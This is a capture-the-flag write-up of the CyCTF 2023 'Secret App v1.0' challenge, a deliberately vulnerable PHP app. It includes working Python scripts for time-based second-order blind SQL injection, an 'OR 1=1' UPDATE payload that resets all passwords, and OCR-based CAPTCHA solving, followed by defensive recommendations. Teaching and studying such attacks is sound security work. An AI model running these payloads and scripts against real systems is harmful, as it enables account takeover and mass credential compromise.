CyCTF 2023 Challenge: A Whitebox Walkthrough of “The Secret App v1.0”
CyCTF 2023 Challenge: A Whitebox Walkthrough of “The Secret App v1.0”
1- Introduction
In this walkthrough, we explore a real-world inspired challenge from CyCTF 2023, a Capture the Flag (CTF) cybersecurity competition designed to test participants’ offensive and analytical skills through hands-on scenarios. One of the key challenges, titled “The Secret App v1.0,” simulates an account takeover attack on a deliberately vulnerable PHP web application.
The source code of the application reveals several exploitable flaws that, when combined, allow unauthorized access to the admin account and exposure of sensitive information. This analysis highlights how chained vulnerabilities can lead to a full compromise even when each individual issue might seem minor.
This article is ideal for cybersecurity students, CTF enthusiasts, penetration testers, and web developers looking to deepen their understanding of how small flaws, when combined, can lead to total compromise. Through this walkthrough, readers will gain insights into source code auditing, chained exploitation, and automation techniques using Python and OCR.
2- Challenge Overview
The challenge, part of CyCTF 2023, presents a simulated account takeover scenario using a white box penetration testing approach. Participants are provided with select source code files from a PHP web application and tasked with identifying and chaining together multiple vulnerabilities to gain control of the admin account and retrieve the flag.
The challenge requires analyzing key components of the application, including:
- Improper session variable management
- A weak “forget password” function
- A flawed CAPTCHA validation
- Multiple instances of SQL injection vulnerabilities
The exploitation requires a multi-step process, combining insights from the source code and behavioral observations to achieve a successful privilege escalation.
3- Key Concepts
This challenge revolves around several core security concepts:
● White Box Testing: Reviewing provided source code to identify logic flaws and vulnerabilities.
● Chained Exploits: Combining multiple issues (e.g., weak CAPTCHA, session misuse, and SQL injection) to achieve account takeover.
● 2nd Order Blind SQL Injection: Delayed injection via stored user input reused in unsafe SQL queries.
● CAPTCHA Bypass: Exploiting flawed validation logic and, later, automating bypass using OCR tools like pytesseract.
These concepts are essential to navigating the challenge and executing a successful attack chain.
4- Walkthrough
The challenge provides partial source code from a vulnerable PHP application, specifically the registration.php, login.php, and forgot-password.php pages. These are the core functional files, and Figure 1 below shows the list included in the challenge.
|
Identifying these as the core files immediately informs our approach: we need to analyze how users are created, authenticated, and how password recovery works, all of which are critical for mounting an account takeover. It also signals that potential vulnerabilities will likely stem from how user input is handled across these flows. |
Figure 1: Core PHP files of the vulnerable application
Registration Page and CAPTCHA
The application uses a CAPTCHA challenge as part of the account creation process, as shown in Figure 2, which displays the registration interface hosted at 192.168.11.128/register.html. The form includes standard fields for email and password, along with a CAPTCHA field intended to prevent automated sign-ups. In this instance, the challenge code displayed is 149ac, which the user must enter into the input box below to proceed.
|
At first glance, this seems like a standard anti-bot measure. However, given the application's overall structure, we need to question how securely the CAPTCHA is implemented and whether it can be bypassed, especially if it's tied to critical flows like password reset. This prompts us to dig deeper into its logic and placement across the app. |
Figure 2: Registration Page with CAPTCHA Challenge
While this looks like a standard anti-bot control, further investigation reveals:
● It does not use prepared SQL statements.
● It relies instead on mysqli_real_escape_string() a flawed defense against SQL injection.
This anti-automation measure becomes critical later in the token submission step of the password reset flow.
Login Page
The login page mirrors the registration page as shown in Figure 3 and 4:
● It uses the same mysqli_real_escape_string() approach to escape input.
● This helps avoid trivial SQL injection.
● However, it still fails to enforce robust query binding, and logic flaws remain exploitable.
Figure 4: Login logic with weak input sanitization
Password Reset Flow
The password reset mechanism is the most exploitable component in this app. Here’s what happens when a user submits their username:
● It is stored as a session variable: $_SESSION['rusername'].
● The username is cast to an integer and saved into the reset_tokens table with a new token and timestamp as seen in Figure 5.
|
⚠ Important Behavior Casting a non-numeric string in PHP to an integer result in 0. This becomes a core element in crafting the exploit. |
PIN Submission Flow
When the user submits the reset PIN as shown in Figure 6, the following occurs:
- A new CAPTCHA is generated.
- The validateCaptcha() function is called.
- The pin parameter is received.
- A SQL query is executed vulnerable to blind SQL injection
by using the session variable rusername.
Figure 6: Token submission logic triggering SQL query
However, there's a catch: CAPTCHA validation is required every time, creating friction for automation. This is where the CAPTCHA logic flaw becomes important.
5- CAPTCHA Logic Flaw – Behind the Scenes
To automate token exfiltration using SQL injection, the attacker must repeatedly submit PIN requests. However, CAPTCHA validation is triggered with every submission, creating a major barrier to automation unless the CAPTCHA can be bypassed.
Since the application does not provide the source code for the validateCaptcha() method, we perform a black-box analysis to understand its behavior.
Observed Behavior (Black-Box Analysis)
Through trial and observation, the attacker uncovers a pattern:
- First request: Submitting a username generates a token with no CAPTCHA error.
- Second request: Submitting a PIN without CAPTCHA still works — no error shown.
- Third request: Submitting the PIN again without CAPTCHA finally triggers a "Captcha Failed" message.
As seen in Figure 7, this pattern reveals a timing-related flaw in how the CAPTCHA validation is initialized. The application doesn't enforce CAPTCHA checking until after the session variable is populated.
Root Cause: Session Logic Bug
The flawed behavior stems from how the CAPTCHA comparison is implemented. The validation logic looks like this:
if ($_SESSION['captcha_code'] == $_POST['captcha'])
On the first PIN submission:
● $_SESSION['captcha_code'] is unset or empty.
● $_POST['captcha'] is also empty, since no input is submitted.
These two empty values evaluate as equal and the CAPTCHA check falsely passes. On subsequent requests, $_SESSION['captcha_code'] is finally set, but if the input is still empty, the check correctly fails.
This issue is clearly visible in Figure 8, where the flawed conditional logic leads to inconsistent CAPTCHA enforcement.
Figure 8: CAPTCHA validation logic allowing empty session and input to pass on first request
Exploitation Implication
This bug gives the attacker a one-time opportunity to bypass the CAPTCHA just enough to execute a manual blind SQL injection. However, this bypass does not persist beyond the first attempt.
To build a fully automated exploit that extracts the token character by character, CAPTCHA validation must be handled programmatically. This leads to the use of OCR techniques discussed in a later section.
6- Exploitation Flow (Blind SQLi)
After identifying the CAPTCHA logic flaw and session variable misuse, we now move to the core of the exploit: extracting a valid token from the database using a second-order blind SQL injection.
This technique leverages the fact that the input is first stored (in the session) and later reused unsafely in a backend SQL query, a perfect setup for delayed exploitation.
Exploitation Strategy
The attack begins by submitting a crafted username containing a time-based SQL payload. This payload is:
● Stored in the session variable rusername
● Later cast to an integer and used in a vulnerable SQL query
As seen in Figure 9, the attacker sends two sequential requests: one to set the injection value in the session, and a second to trigger the SQL query indirectly through the PIN submission.
Figure 9: Exploitation flow overview using second-order injection via session variable
Time-Based SQL Injection Logic
Since we cannot see the query output, we infer success based on server response delay:
● If the guessed character is correct → the database sleeps for 3 seconds
● If incorrect → the response is immediate
This method uses SLEEP() and SUBSTRING() in a conditional SQL expression.
As shown in Figure 10, the payload allows us to test each character position of the token using response time as a signal.
Sample payload pattern:
/?username=1337' AND (CASE WHEN (SELECT SUBSTRING(token,{position},1) FROM reset_tokens where id=1337)={char} THEN SLEEP(3) ELSE 0 END);-- -
Python Exploit Script
The following Python script automates the blind SQL injection:
● Sets the crafted payload using the username
● Triggers the injection via the PIN
● Measures the time delay to detect correct characters
Crafting a simple Python script to exploit the vulnerabilities would look like the following.
|
import requests import time import string
cookies = {"PHPSESSID": "617rthsa9dgsk3mr0ksifn8dp6"} url = "http://192.168.11.128/" token = ""
for position in range(1, 9): for char in '123456789': # save payload in rusername session variable first req1 = requests.get( url + f"forgot-password.php?username=1336' AND (CASE WHEN (SELECT SUBSTRING(token, {position}, 1) FROM reset_tokens WHERE id=1336)={char} THEN SLEEP(3) ELSE 0 END);--+-", cookies = cookies )
time.sleep(1) # calculate time before trigger start_time = time.time() # trigger the sql injection req2= requests.get(url+"forgot-password.php?pin=1234",cookies=cookies) # print(req2.text) # calculate time after trigger rep_time = time.time() elapsed = rep_time - start_time if int(elapsed) > 2 : token += char print(f"{position}:{token}") break print(token)
|
Real-Time Execution and Results
Once the script is executed, each character of the token is extracted sequentially. If user 1336’s token is successfully extracted, it might look like: f3b7a2c9
This token can then be submitted to the application to complete the password reset process and take over the target account.
As seen in Figure 11, each spike in delay represents a successful character match during the attack.
Figure 11: Server response times indicating successful character matches
As seen in Figure 12 and 13, once all characters are collected, the final token is printed and used to reset the password, completing the exploit chain.
Using the dumped token, we can reset the password for user ID 1336 as follows:
Figure 12: Password reset
Figure 13: Final token reconstruction used for account takeover
Summary of Key Concepts
● 2nd Order SQL Injection: Input is stored and later reused in an unsafe query.
● Blind Injection with Timing: No output is returned; inference is made via response delays.
● CAPTCHA Bypass: Exploited only for the first request, later overcome with OCR.
7- Abusing SQL Injection in UPDATE Queries
While the previous attack relied on knowing or guessing a specific user ID (e.g., 1336), real-world scenarios rarely offer such convenience. This section demonstrates how a second SQL injection vulnerability, this time in the UPDATE statement, allows attackers to escalate the attack further, even without prior knowledge of user IDs.
Expanding the Attack Surface
Instead of trying to reset a token for a known user ID, we exploit the fact that:
● The application does not validate whether the user exists before generating tokens.
● The id parameter in the backend SQL logic is vulnerable to injection.
As shown in Figure 14, this means that any arbitrary username input, even one that does not correspond to a real account, will still result in a new row in the reset_tokens table.
Figure 14: Token generation for a non-existent user due to lack of validation
Exploiting the UPDATE Statement
Later in the workflow, the application uses an UPDATE query to reset the user’s password based on the injected ID. If the attacker supplies a value like:
2342141 OR 1=1
The resulting SQL query becomes:
UPDATE users SET password='[new_hash]' WHERE id=2342141 OR 1=1;
This causes all rows in the users table to be updated with the same password.
As seen in Figure 15, this turns a single-account reset mechanism into a global account takeover vector.
Figure 15: Exploited UPDATE query affecting all users via OR-based injection
Token Harvesting via the Same Script
As shown in Figure 16, once the attacker updates the password for all users, they can reuse the same blind SQLi script from earlier to retrieve a valid token associated with any ID, including non-existent ones.
Figure 16: Using the same SQLi logic to fetch token for user ID 2342141
Logging in With Stolen Credentials
The attacker now has a reset token and has updated the password for all users to a known value. Next, they use Burp Suite Intruder to perform a brute-force login attempt.
They iterate through all possible IDs (e.g., from 1 to 1337) using the known password to identify which accounts are now accessible.
As demonstrated in Figure 17, multiple admin accounts may become accessible through this attack path.
Figure 17: Burp Intruder results showing successful logins across multiple IDs
Escalation Summary
This variant of the attack offers key advantages:
● No prior knowledge of user IDs is required.
● A single injection can update passwords for all users.
● The attacker can then systematically log in using brute-force methods to identify privileged accounts.
8- CAPTCHA Bypass Using OCR
Once the CAPTCHA logic flaw was identified, the attacker was able to bypass it manually for a single request but automation remained a challenge. To fully automate the blind SQL injection process, the attacker needed a way to solve the CAPTCHA dynamically with every request.
The solution: leverage Optical Character Recognition (OCR).
Understanding the CAPTCHA Structure
The CAPTCHA used in the application was a simple alphanumeric code rendered as an image. As seen in Figure 18, each registration attempt generates a new CAPTCHA image.
Figure 18: CAPTCHA image generated on registration page
When the form is submitted with an incorrect or missing CAPTCHA, the backend returns an error, shown in Figure 19, that must be avoided for successful automation.
Figure 19: CAPTCHA failure response from the backend
Automating with OCR
To solve the CAPTCHA automatically, the attacker implemented an OCR-based approach using pytesseract and Pillow. The script fetches the CAPTCHA image, extracts the code, and submits it with the SQLi payload.
|
import requests import time import string import pytesseract from PIL import Image from io import BytesIO
pytesseract.pytesseract.tesseract_cmd = r'C:\\Users\\[user]\\AppData\\Local\\Programs\\TesseractOCR\\tesseract.exe'
def process_request(url, cookies): start_time = time.time() response = requests.get(url, cookies=cookies) response_status_code = response.status_code image = Image.open(BytesIO(response.content)) image_content = pytesseract.image_to_string(image) end_time = time.time() print(f"[request_no]: {request_count}, [status_code]: {response_status_code}, [time]: {end_time - start_time}, [captcha]: {image_content.strip()}") del image url = 'http://192.168.11.128/captchaImageSource.php' cookies = {'Cookie': 'PHPSESSID=aavf18surrihqe9193b4k9jh5d'} request_count = 1 while request_count <= 10: process_request(url, cookies) request_count += 1 |
|
import requests import time import string import pytesseract from PIL import Image from io import BytesIO
pytesseract.pytesseract.tesseract_cmd = r'C:\\Users\\[user]\\AppData\\Local\\Programs\\TesseractOCR\\tesseract.exe'
def process_request(url, cookies): start_time = time.time() response = requests.get(url, cookies=cookies) response_status_code = response.status_code image = Image.open(BytesIO(response.content)) image_content = pytesseract.image_to_string(image) end_time = time.time() print(f"[request_no]: {request_count}, [status_code]: {response_status_code}, [time]: {end_time - start_time}, [captcha]: {image_content.strip()}") del image url = 'http://192.168.11.128/captchaImageSource.php' cookies = {'Cookie': 'PHPSESSID=aavf18surrihqe9193b4k9jh5d'} request_count = 1 while request_count <= 10: process_request(url, cookies) request_count += 1
|
This automation enabled hundreds of requests to be made without manual CAPTCHA solving essential for blind SQL injection attacks.
Result After Bypass
As shown in Figure 20, once the OCR correctly extracts the CAPTCHA code, the server accepts the submission and proceeds to process the injected payload.
Figure 20: Successful CAPTCHA bypass with OCR and valid SQLi execution
Full OCR Workflow
The entire automated flow involves:
- Downloading the CAPTCHA image.
- Parsing the text using OCR.
- Injecting SQL payload along with the solved CAPTCHA.
- Extracting the resulting character or boolean signal.
- Repeating the cycle for each character in the token.
|
import requests import time import string import pytesseract from PIL import Image from io import BytesIO
pytesseract.pytesseract.tesseract_cmd = r'C:\\Users\\[USER]\\AppData\\Local\\Programs\\TesseractOCR\\tesseract.exe'
def process_request(url, cookies): response = requests.get(url, cookies=cookies) response_status_code = response.status_code image = Image.open(BytesIO(response.content)) image_content = pytesseract.image_to_string(image) return image_content.strip() cookies = {"PHPSESSID" : "u2h59o0tv5joi9agk5lhn848hv"} url = "http://192.168.11.128/" token = "" for position in range(1,9) : for char in '12345678' : # save payload in rusername session variable first req1= requests.get(url+f"forgot-password.php?username= 1336' AND (CASE WHEN (SELECT SUBSTRING(token, {position},1) FROM reset_tokens where id=1336)={char} THEN SLEEP(3) ELSE 0 END);--+-",cookies=cookies) # get captcha response using OCR Function captcha = process_request('http://192.168.11.128/captchaImageSource.php',cookies) start_time = time.time() req2= requests.get(url+f"forgot-password.php?pin=1234&captcha={captcha}",cookies=cookies) # if the OCR result is wrong keep trying different captcha values while "Failed" in req2.text : captcha = process_request('http://192.168.11.128/captchaImageSource.php',cookies) start_time = time.time() req2=requests.get(url+f"forgot-password.php?pin=1234&captcha={captcha}",cookies=cookies) # calcuate time after trigger rep_time = time.time() elapsed = rep_time - start_time if int(elapsed) > 2 : token += char print(f"{position}:{token}") break print(token) |
9- Recommendations
To defend against this class of multi-layered exploitation, several security hardening measures are recommended:
● Use parameterized queries (e.g., prepared statements) rather than relying on manual escaping of user input. This prevents SQL injection at the query construction layer.
● Ensure CAPTCHA validation is robust by verifying session-based tokens server-side. Never trust frontend-only logic for anti-bot mechanisms.
● Avoid unsafe type casting, converting user input directly to integers without validation can be exploited via type juggling or bypass techniques.
● Implement rate-limiting and activity logging on sensitive endpoints, such as password resets or login attempts, to detect brute force or automated attacks.
● Monitor unusual patterns, including repeated CAPTCHA submissions or requests with consistent timing delays, which may indicate automation or blind injection attempts.
These defense-in-depth measures are especially critical for applications handling sensitive data or managing user accounts.
10- Conclusion
This CyCTF 2023 challenge, The Secret App v1.0, is a prime example of how seemingly minor flaws can be chained to achieve full compromise:
1- A blind SQL injection vulnerability.
2- Weak CAPTCHA logic.
3- Poor session validation.
4- Insecure password reset handling.
Each on its own may appear low-risk, but when combined, they enabled complete administrative takeover of the system.
The challenge offers an insightful, hands-on reminder of the need for:
● Thoughtful secure-by-design architecture.
● Backend validation beyond frontend checks.
● Defense-in-depth practices across the full attack surface.
It emphasizes why layered security, secure coding standards, and routine security testing are vital to any production web application.
Blog Writer: Mohamed Amgad, Security Research Technical Lead I Editor: Heba Osama, Senior Research Operations Specialist
Related Articles
Cybersecurity R&DdPhish - Security Awareness Solution
View More